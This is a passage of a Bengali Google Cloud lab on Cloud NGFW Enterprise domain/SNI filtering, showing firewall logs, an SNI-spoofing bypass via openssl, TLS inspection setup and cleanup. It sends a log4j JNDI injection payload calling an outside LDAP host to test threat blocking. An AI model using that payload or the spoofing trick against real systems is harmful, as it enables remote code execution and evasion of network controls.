উপরের ফিল্টারটি আমাদের তৈরি করা $prefix-fwpolicy নামের ফায়ারওয়াল পলিসি এবং 300 রুল প্রায়োরিটি পরীক্ষা করছে, যেটিতে ডোমেইন/SNI ফিল্টারিং কনফিগারেশনের সাথে যুক্ত সিকিউরিটি প্রোফাইল গ্রুপটি রয়েছে।

91854cacaec44798.png

আপনি দেখতে পাচ্ছেন যে "ডিসপোজিশন" অংশে "ইন্টারসেপ্টেড" লেখা আছে, যা নির্দেশ করে যে ট্র্যাফিকটি আটকানো হয়েছে এবং প্রক্রিয়াকরণের জন্য আমাদের ফায়ারওয়াল ইঞ্জিনে পাঠানো হয়েছে।

এখন প্রকৃত ডোমেইন/এসএনআই ফিল্টারিং লগগুলো দেখতে, আমরা লগস এক্সপ্লোরারে নিম্নলিখিত ফিল্টারটি প্রবেশ করাতে পারি: (অবশ্যই $project_id-এর জায়গায় আপনার project_id ভ্যালুটি বসাতে হবে)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

যদি আমরা কিছু বিবরণ আরও বিশদভাবে দেখি, তাহলে একটি উদাহরণে (পরিমার্জিত আকারে) নিম্নলিখিত বিবরণগুলো দেখতে পাব:

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

উপরের উদাহরণ লগটিতে wikipedia.org-এর একটি অনুরোধ দেখানো হয়েছে, যা ALLOW করা হয়েছিল কারণ এটি priority 2000000000-এর "*" রুলটিতে পৌঁছেছিল, যার filterAction ছিল ALLOW। এখানে SNI সহ অন্যান্য বিবরণও রয়েছে।

আমরা একটি DENY নমুনা লগ দেখতে পারি:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

যেমনটি আমরা উপরে দেখতে পাচ্ছি, এটি এমন একটি অনুরোধ যা প্রত্যাখ্যান করার সময় লগ করা হয়েছিল। অনুরোধটি www.php.net-এর কাছে করা হয়েছিল, যা সিকিউরিটি প্রোফাইলের ১৫০০ নম্বর নিয়মের সাথে মিলে গিয়েছিল। একইভাবে, সিদ্ধান্তটি নেওয়ার জন্য এটি SNI-এর সাথেও মিলে গিয়েছিল।

১৭. SNI স্পুফিং উপস্থিত থাকলে নিয়মগুলো যাচাই করুন।

ভূমিকা অংশে যেমন উল্লেখ করা হয়েছে, NGFW এন্টারপ্রাইজ HTTP ট্র্যাফিকের জন্য HTTP হোস্ট হেডার, অথবা TLS এনক্রিপ্টেড ট্র্যাফিকের জন্য SNI দেখতে পারে। ব্যক্তিদের পক্ষে SNI স্পুফ করা সম্ভব। তারা যদি তা করে, তাহলে কী হবে?

চলুন আচরণটি যাচাই করা যাক। IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ স্থাপন করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

SNI স্পুফ করতে নিম্নলিখিত openssl কমান্ডটি চালান:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

উপরের উদাহরণে, প্রত্যাশা করা হচ্ছে যে .com এবং .net ডোমেইনের অনুরোধগুলো ব্লক করা হবে এবং অন্যান্য TLD-গুলোকে অনুমতি দেওয়া হবে। নিচে একটি স্পুফড রেসপন্সের উদাহরণ দেওয়া হলো। অনুরোধটি www.google.com-এ পাঠানো হয়েছে, যা ব্লক করা উচিত, কিন্তু www.google.com-এর SNI পাঠানোর পরিবর্তে, আমরা ifconfig.me-এর একটি SNI উল্লেখ করছি। যেহেতু পলিসিটি SNI-এর সাথে মিলিয়ে দেখছে, তাই এটি এটিকে একটি "অনুমোদিত" ডোমেইন হিসেবে দেখবে এবং এটিকে যেতে দেবে। আমরা google.com-এর সাথে একটি সফল TLS সংযোগ স্থাপন করতে পেরেছি।

.

প্রত্যাশিত আউটপুট:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

এইখানেই টিএলএস ইন্সপেকশন এই ফাঁকটি পূরণ করতে সাহায্য করতে পারে।

সংযোগ বন্ধ করুন এবং ভিএম থেকে প্রস্থান করুন:

"ctrl" + c
exit

১৮. [ঐচ্ছিক] টিএলএস পরিদর্শন

TLS রিসোর্স কনফিগার করুন

এই অংশটি ঐচ্ছিক, কারণ ডোমেইন/এসএনআই ফিল্টারিং টিএলএস ইন্সপেকশন ছাড়াই কাজ করে। তবে, আপনি যদি হুমকি-প্রতিরোধ ব্যবহার করার পরিকল্পনা করেন, অথবা ভবিষ্যতে যখন সম্পূর্ণ ইউআরএল ফিল্টারিং উপলব্ধ হবে, তখন সিকিউরিটি প্রোফাইলে পাথ-ভিত্তিক নিয়ম তৈরি করতে সক্ষম হতে চান, তাহলে আপনার টিএলএস ইন্সপেকশন প্রয়োজন হতে পারে।

এছাড়াও, TLS পরিদর্শন একটি অতিরিক্ত স্তরের যাচাই ব্যবস্থা প্রদান করে, কারণ SNI স্পুফিংয়ের সম্ভাবনা থাকে।

একটি CA পুল তৈরি করুন। এই রিসোর্সটি NGFW এন্টারপ্রাইজের জন্য আমাদের তৈরি করা রুট CA সার্টিফিকেট সংরক্ষণের জন্য ব্যবহৃত হবে।

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

রুট সিএ (Root CA) তৈরি করুন। এই সিএ সার্টিফিকেটটিই এনজিএফডব্লিউ এন্টারপ্রাইজ (NGFW Enterprise)-এর মাধ্যমে করা অনুরোধের জন্য অতিরিক্ত সার্টিফিকেট স্বাক্ষর করতে ব্যবহৃত হবে।

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

যদি নিচের বার্তাটি আসে, তাহলে y উত্তর দিন:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

একটি সার্ভিস অ্যাকাউন্ট তৈরি করুন। এই সার্ভিস অ্যাকাউন্টটি NGFW এন্টারপ্রাইজের জন্য সার্টিফিকেট অনুরোধ করতে ব্যবহৃত হবে:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

সার্ভিস অ্যাকাউন্টের জন্য IAM অনুমতি সেট করুন:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS পলিসি YAML ফাইলটি তৈরি করুন। এই ফাইলে নির্দিষ্ট রিসোর্সগুলো সম্পর্কে তথ্য থাকবে:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS পরিদর্শন নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS সক্রিয় করতে এন্ডপয়েন্ট অ্যাসোসিয়েশন আপডেট করুন:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA সার্টিফিকেটটি সংগ্রহ করুন এবং ক্লায়েন্টের CA স্টোরে যোগ করুন। বিশ্বাসযোগ্যতার জন্য এটি প্রয়োজন, কারণ NGFW এন্টারপ্রাইজ TLS স্থাপন করবে এবং CA পুল থেকে স্বাক্ষরিত সার্টিফিকেটটি উপস্থাপন করবে:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

ক্লায়েন্টের কাছে CA সার্টিফিকেটটি হস্তান্তর করুন:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM-এ SSH করুন, CA সার্টিফিকেটটি /usr/local/share/ca-certificates-এ সরান এবং CA স্টোর আপডেট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ভিএম থেকে বেরিয়ে আসুন এবং ক্লাউডশেলে কাজ চালিয়ে যান।

TLS পরিদর্শনের জন্য ফায়ারওয়াল নিয়ম আপডেট করুন

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

TLS পরিদর্শনের মাধ্যমে নিয়মগুলি যাচাই করুন

IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ শুরু করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা অনুরোধগুলি অনুমোদিত গন্তব্যগুলিতে পাঠান:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

এগুলো কোনো সমস্যা ছাড়াই পাস হয়ে যাওয়ার কথা। যদি আমরা সার্টিফিকেটটি পর্যালোচনা করতে এবং এটি NGFW দ্বারা স্বাক্ষরিত কিনা তা নিশ্চিত করতে চাই, তাহলে আমরা নিম্নলিখিত কমান্ডটি চালাতে পারি:

curl https://ifconfig.me --max-time 2 -vv

প্রত্যাশিত আউটপুট:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

উপরের আউটপুটে আমরা দেখতে পাচ্ছি যে, অনুরোধটি NGFW এন্টারপ্রাইজ দ্বারা TLS দ্বারা যাচাই করা হচ্ছে, কারণ প্রাপ্ত সার্টিফিকেটটি আমাদের পূর্বে তৈরি করা রুট CA দ্বারা স্বাক্ষরিত। (issuer field)

TLS পরিদর্শনের মাধ্যমে SNI স্পুফ করার চেষ্টাকারী নিয়মগুলি যাচাই করুন

TLS পরিদর্শন সক্রিয় করার পর এখন আচরণটি যাচাই করা যাক।

SNI স্পুফ করতে নিম্নলিখিত openssl কমান্ডটি চালান:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

প্রত্যাশিত আউটপুট:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

উপরের আউটপুটে আমরা দেখতে পাচ্ছি যে, পূর্বে কার্যকর একটি SNI স্পুফিং অনুরোধ এখন TLS ইন্সপেকশন চালু করা হলে ব্যর্থ হচ্ছে। এর কারণ হলো, TLS ইন্সপেকশন চালু করা হলে NGFW সার্ভার সার্টিফিকেটের সাবজেক্ট অল্টারনেটিভ নেম (SAN)-এর সাথে SNI-কে মিলিয়ে দেখে। যদি এটি না মেলে, তাহলে TLS হ্যান্ডশেকটি ব্যর্থ হয়ে যায়।

TLS পরিদর্শনের মাধ্যমে ডোমেইন/SNI যাচাইকরণ এবং হুমকি প্রতিরোধ

আমরা এখন একটি অনুমোদিত ডোমেইনে পাঠানো ক্ষতিকর (log4j) অনুরোধের জন্য পূর্বের পরীক্ষাটি পুনরায় চালাব।

নমুনা ক্ষতিকারক (log4j) ফাইলটি একটি অনুমোদিত ডোমেইন/SNI গন্তব্যে পাঠান:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

প্রত্যাশিত আউটপুট:

000

এই 000 রেসপন্স কোডটির কারণ হলো, একটি হুমকি শনাক্ত হওয়ায় NGFW সংযোগটি বিচ্ছিন্ন করে দিয়েছে। বিষয়টি নিশ্চিত করার জন্য আমরা আরও বিশদ আউটপুট সংগ্রহ করতে পারি।

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

প্রত্যাশিত আউটপুট:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

উপর থেকে আমরা দেখতে পাচ্ছি যে, NGFW টিএলএস (TLS) পরিদর্শন সম্পন্ন করে ক্ষতিকারক অনুরোধটি ব্লক করে দিয়েছে।

ভিএম থেকে প্রস্থান করুন:

exit

পরিষ্কার করার ধাপগুলোর জন্য পরবর্তী বিভাগে যান।

১৯. পরিষ্কার করার পদক্ষেপ

বেস সেটআপ পরিষ্কার করা

দৃষ্টান্তগুলি মুছে ফেলুন:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক পলিসি এবং অ্যাসোসিয়েশন অপসারণ করুন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছে ফেলুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত আইপি ঠিকানাগুলো মুছে ফেলুন:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ক্লাউড ফায়ারওয়াল এসপিজি এবং অ্যাসোসিয়েশন ক্লিন-আপ

সিকিউরিটি প্রোফাইল গ্রুপ এবং থ্রেট ও ইউআরএল ফিল্টারিং প্রোফাইল এই ক্রমে ডিলিট করুন:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশনটি মুছে ফেলুন:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টটি মুছে ফেলুন, এতে প্রায় ২০ মিনিট সময় লাগতে পারে।

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

ঐচ্ছিকভাবে, নিচের কমান্ডটি চালিয়ে ক্লাউড NGFW এন্ডপয়েন্টটি মুছে ফেলা হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

এন্ডপয়েন্টের অবস্থাটি নিম্নরূপ হওয়া উচিত:

STATE: DELETING

সম্পূর্ণ হলে, এন্ডপয়েন্টটি আর তালিকাভুক্ত থাকবে না।

[ঐচ্ছিক] টিএলএস পরিষ্করণ

আপনি যদি ঐচ্ছিক TLS পরিদর্শন কনফিগারেশনগুলো চালু করে থাকেন, তাহলে TLS রিসোর্সগুলো পরিষ্কার করতে নিচের কমান্ডগুলো চালান।

TLS পলিসিটি মুছে ফেলুন:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

রুট সিএ এবং সিএ পুল নিষ্ক্রিয় ও মুছে ফেলুন:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

সাবনেট এবং ভিপিসি পরিষ্কার করা

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্কটি মুছে ফেলুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

২০. উপসংহার ও বিবেচ্য বিষয়সমূহ

এই ল্যাবটি খুবই সহজ এবং এতে শুধুমাত্র ইন্টারনেটে সংযুক্ত একটিমাত্র ভিএম (VM) দিয়ে পরীক্ষা করা হয়েছে। বাস্তব পরিস্থিতিতে, ভিপিসি-তে (VPC) একাধিক রিসোর্স থাকতে পারে এবং ট্র্যাফিক সব দিকে (উত্তর/দক্ষিণ এবং পূর্ব/পশ্চিম) চলাচল করতে পারে। যেহেতু ডোমেইন/এসএনআই (domain/SNI) ফিল্টারিংয়ের জন্য ফায়ারওয়াল রুলটি একটি EGRESS 0.0.0.0/0, এটি একটি "ক্যাচ অল" (catch all) রুল এবং এটিকে অবশ্যই নেটওয়ার্ক পলিসিতে সর্বনিম্ন অগ্রাধিকারের রুল হিসেবে কনফিগার করতে হবে — অন্যথায়, ডিফল্ট ইউআরএলফিল্টারিং (urlFiltering) রুলের উপর ভিত্তি করে ট্র্যাফিক অপ্রত্যাশিতভাবে মিলে যাবে এবং অনুমোদিত/অস্বীকৃত হবে।

এছাড়াও, পরিধি সীমিত করতে নেটওয়ার্ক টাইপ ব্যবহার করার কথা বিবেচনা করুন। এর উদ্দেশ্য হলো ই/ডব্লিউ ট্র্যাফিককে নিয়মটির সাথে মিলে যাওয়া থেকে বিরত রাখা। বিকল্পভাবে, ই/ডব্লিউ ট্র্যাফিকের জন্য একটি উচ্চ অগ্রাধিকারের অনুমতি নিয়ম তৈরি করুন।

অনুগ্রহ করে সেরা অনুশীলন সংক্রান্ত নথিটি পর্যালোচনা করুন, যেখানে ডোমেইন/এসএনআই ফিল্টারিং সম্পর্কে আরও বিশদভাবে আলোচনা করা হয়েছে।

২১. অভিনন্দন!

অভিনন্দন, আপনি ঐচ্ছিক TLS পরিদর্শন সহ ডোমেইন এবং SNI ফিল্টারিং-এর জন্য ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে সম্পন্ন করেছেন!